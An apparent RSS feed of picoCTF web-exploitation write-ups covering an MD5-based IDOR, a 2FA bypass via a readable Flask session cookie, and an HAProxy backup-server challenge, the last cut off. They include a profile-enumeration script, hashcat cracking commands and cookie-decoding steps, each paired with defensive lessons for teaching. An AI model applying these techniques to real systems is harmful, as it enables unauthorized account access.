<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>PicoCTF Web Challenge Writeup: Hashgate</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 07:04:57 +0000</pubDate>
      <link>https://dev.to/exploitnotes/picoctf-web-challenge-writeup-hashgate-4jc3</link>
      <guid>https://dev.to/exploitnotes/picoctf-web-challenge-writeup-hashgate-4jc3</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;We're given a web application with a login page. The goal is to find the flag hidden in another user's profile.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web Exploitation | &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium | &lt;strong&gt;Tools:&lt;/strong&gt; Python, requests, hashlib, hashcat&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 — Finding the Credentials
&lt;/h2&gt;

&lt;p&gt;Looking at the login page HTML source, credentials were hidden in a comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Email: guest@picoctf.org Password: guest --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Always check the page source — developers sometimes leave credentials in comments!&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 2 — Logging In and Observing the URL
&lt;/h2&gt;

&lt;p&gt;After logging in with &lt;code&gt;guest@picoctf.org / guest&lt;/code&gt;, the app redirected to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/profile/user/e93028bdc1aacdfb3687181f2031765d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page showed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access level: Guest (ID: 3000). Insufficient privileges to view classified data.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The URL contains an MD5 hash. Let's figure out what it's a hash of.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Cracking the Hash
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 e93028bdc1aacdfb3687181f2031765d /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;e93028bdc1aacdfb3687181f2031765d:3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hash is simply MD5 of the user ID (&lt;code&gt;3000&lt;/code&gt;). This is a textbook IDOR vulnerability — the app uses a predictable, reversible identifier in the URL.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — Exploiting the IDOR
&lt;/h2&gt;

&lt;p&gt;Since my ID is &lt;code&gt;3000&lt;/code&gt; and the app uses &lt;code&gt;MD5(ID)&lt;/code&gt; in the URL, I can access any user's profile by computing their hash. I enumerated nearby IDs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;

&lt;span class="n"&gt;url_base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://crystal-peak.picoctf.net:&amp;lt;PORT&amp;gt;/profile/user/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://crystal-peak.picoctf.net:58205/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guest@picoctf.org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3031&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;md5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ID &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;picoCTF&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] FLAG FOUND at ID &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 5 — Getting the Flag
&lt;/h2&gt;

&lt;p&gt;One of the nearby IDs returned the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;picoCTF{...flag...}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Vulnerability Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Credentials in HTML comment&lt;/strong&gt; — The guest credentials were visible in plain page source, granting immediate account access to anyone who inspected the HTML.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. IDOR via MD5 user ID&lt;/strong&gt; — The URL uses &lt;code&gt;MD5(user_id)&lt;/code&gt;, which is predictable and trivially computable. Any authenticated user can enumerate all profiles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Weak ID hashing&lt;/strong&gt; — MD5 is not encryption. It's easily cracked with a wordlist or simply recomputed, providing no real access control.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is IDOR?
&lt;/h2&gt;

&lt;p&gt;Insecure Direct Object Reference (IDOR) is when an application uses user-controllable input to access objects directly without proper authorization checks. It's consistently in the OWASP Top 10 and one of the most common vulnerabilities found in bug bounty programs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The key issue isn't the hash itself — it's that the server never verifies whether the requesting user is actually authorized to view that profile.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never use MD5 (or any hash) as an access control mechanism.&lt;/strong&gt; Hashes are not encryption — they are deterministic and predictable. Anyone who knows the pattern can compute the hash for any ID.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use random UUIDs for profile URLs.&lt;/strong&gt; A UUID like &lt;code&gt;f47ac10b-58cc-4372-a567-0e02b2c3d479&lt;/code&gt; can't be guessed or enumerated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce server-side authorization.&lt;/strong&gt; Always verify the logged-in user has permission to view the requested resource — don't rely on obscurity in the URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never leave credentials in HTML comments.&lt;/strong&gt; Strip all debug info and hardcoded secrets before deploying to production.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ctf</category>
      <category>picoctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>PicoCTF Web Challenge Writeup: NO FA</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 06:43:54 +0000</pubDate>
      <link>https://dev.to/exploitnotes/picoctf-web-challenge-writeup-no-fa-13gc</link>
      <guid>https://dev.to/exploitnotes/picoctf-web-challenge-writeup-no-fa-13gc</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;We're given a Flask web application with a login system and 2FA (Two-Factor Authentication). The goal is to log in as &lt;code&gt;admin&lt;/code&gt; and retrieve the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web Exploitation | &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium | &lt;strong&gt;Tools:&lt;/strong&gt; hashcat, flask-unsign, sqlite3&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Files provided:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;app.py&lt;/code&gt; — Flask application source code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;users.db&lt;/code&gt; — SQLite database with user credentials&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1 — Recon: Examining the Database
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlite3 users.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;mode&lt;/span&gt; &lt;span class="k"&gt;column&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key observations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;admin&lt;/code&gt; is the only account with &lt;code&gt;two_fa = 1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Admin uses a different domain (&lt;code&gt;nfs.com&lt;/code&gt; vs &lt;code&gt;nfa.com&lt;/code&gt; for regular users)&lt;/li&gt;
&lt;li&gt;The admin password is stored as a SHA-256 hash: &lt;code&gt;c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 2 — Cracking the Password Hash
&lt;/h2&gt;

&lt;p&gt;The 64-character hash is SHA-256 (&lt;code&gt;-m 1400&lt;/code&gt; in hashcat):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1400 c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67 /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result — cracked in under 5 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;c20fa169...ab67:apple@123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password: &lt;code&gt;apple@123&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Analyzing the 2FA Code
&lt;/h2&gt;

&lt;p&gt;Looking at &lt;code&gt;app.py&lt;/code&gt;, the OTP generation stood out immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# OTP Generation
&lt;/span&gt;&lt;span class="n"&gt;otp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Only 9000 possible values!
&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;otp_secret&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;otp&lt;/span&gt;            &lt;span class="c1"&gt;# Stored in SESSION COOKIE
&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;otp_timestamp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# OTP Verification
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;stored_otp&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;otp&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;stored_otp&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two critical vulnerabilities here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Tiny keyspace&lt;/strong&gt; — only 9,000 possible OTP values (1000–9999), trivially brute-forceable&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OTP stored in the client-side session cookie&lt;/strong&gt; — Flask session cookies are base64-encoded and fully readable without the secret key&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 4 — Reading the OTP from the Session Cookie
&lt;/h2&gt;

&lt;p&gt;After logging in with &lt;code&gt;admin / apple@123&lt;/code&gt;, the server redirects to &lt;code&gt;/two_fa&lt;/code&gt; and sets a session cookie. Grab it from Browser DevTools → Application → Cookies, then decode it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pipx &lt;span class="nb"&gt;install &lt;/span&gt;flask-unsign
flask-unsign &lt;span class="nt"&gt;--decode&lt;/span&gt; &lt;span class="nt"&gt;--cookie&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;cookie_value&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"logged"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"false"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"otp_secret"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1149"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"otp_timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1779522221.27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The OTP (&lt;code&gt;1149&lt;/code&gt;) is sitting right there in plaintext.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Flask signs cookies to prevent tampering — but it does &lt;strong&gt;not&lt;/strong&gt; encrypt them. Anyone can read the contents without knowing the secret key.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 5 — Submitting the OTP
&lt;/h2&gt;

&lt;p&gt;Navigated to &lt;code&gt;/two_fa&lt;/code&gt;, entered &lt;code&gt;1149&lt;/code&gt;, and got:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Login successful!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Vulnerability Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Weak password (&lt;code&gt;apple@123&lt;/code&gt;)&lt;/strong&gt; — Present in rockyou.txt, leads to full credential compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. OTP stored in unencrypted session cookie&lt;/strong&gt; — The most critical flaw. The OTP is readable by any client without needing the server's secret key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Small OTP keyspace (9,000 values)&lt;/strong&gt; — Even without cookie access, this is brute-forceable in seconds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. No rate limiting on &lt;code&gt;/two_fa&lt;/code&gt;&lt;/strong&gt; — No protection against automated OTP guessing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never store secrets in Flask session cookies.&lt;/strong&gt; They are signed, not encrypted. Use server-side sessions (Flask-Session with Redis or a database backend) to keep sensitive data off the client.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use cryptographically secure OTP generation.&lt;/strong&gt; Replace &lt;code&gt;random.randint()&lt;/code&gt; with the &lt;code&gt;secrets&lt;/code&gt; module — &lt;code&gt;secrets.randbelow()&lt;/code&gt; or &lt;code&gt;secrets.token_hex()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce strong passwords.&lt;/strong&gt; &lt;code&gt;apple@123&lt;/code&gt; should never pass any reasonable password policy. Use bcrypt or argon2 for hashing instead of raw SHA-256.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adopt TOTP standards.&lt;/strong&gt; Rolling your own OTP system is risky. Use TOTP (RFC 6238) with libraries like &lt;code&gt;pyotp&lt;/code&gt;, compatible with Google Authenticator and Authy.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Thanks for reading! If you found this helpful, consider following for more CTF writeups.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>picoctf</category>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>python</category>
    </item>
    <item>
      <title>PicoCTF Web Challenge Writeup: Failure Failure</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 06:41:29 +0000</pubDate>
      <link>https://dev.to/exploitnotes/picoctf-web-challenge-writeup-failure-failure-1aj0</link>
      <guid>https://dev.to/exploitnotes/picoctf-web-challenge-writeup-failure-failure-1aj0</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web Exploitation | &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium | &lt;strong&gt;Tools:&lt;/strong&gt; Python, requests, HAProxy config analysis&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 — Analyzing the HAProxy Config
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;backend servers
    option httpchk GET /
    http-check expect status 200
    server s1 *:8000 check inter 2s fall 2 rise 3
    server s2 *:9000 check backup inter 2s fall 2 rise 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key observations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;s1&lt;/code&gt; (port 8000) is the primary server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;s2&lt;/code&gt; (port 9000) is the backup server — only used when s1 is down&lt;/li&gt;
&lt;li&gt;Health check runs &lt;code&gt;GET /&lt;/code&gt; every 2 seconds and expects HTTP 200&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fall 2&lt;/code&gt; means s1 is marked down after 2 consecutive failed health checks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;rise 3&lt;/code&gt; means s1 needs 3 successful checks to come back online&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 2 — Analyzing the Flask App
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IS_BACKUP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;FLAG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No flag in this service&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



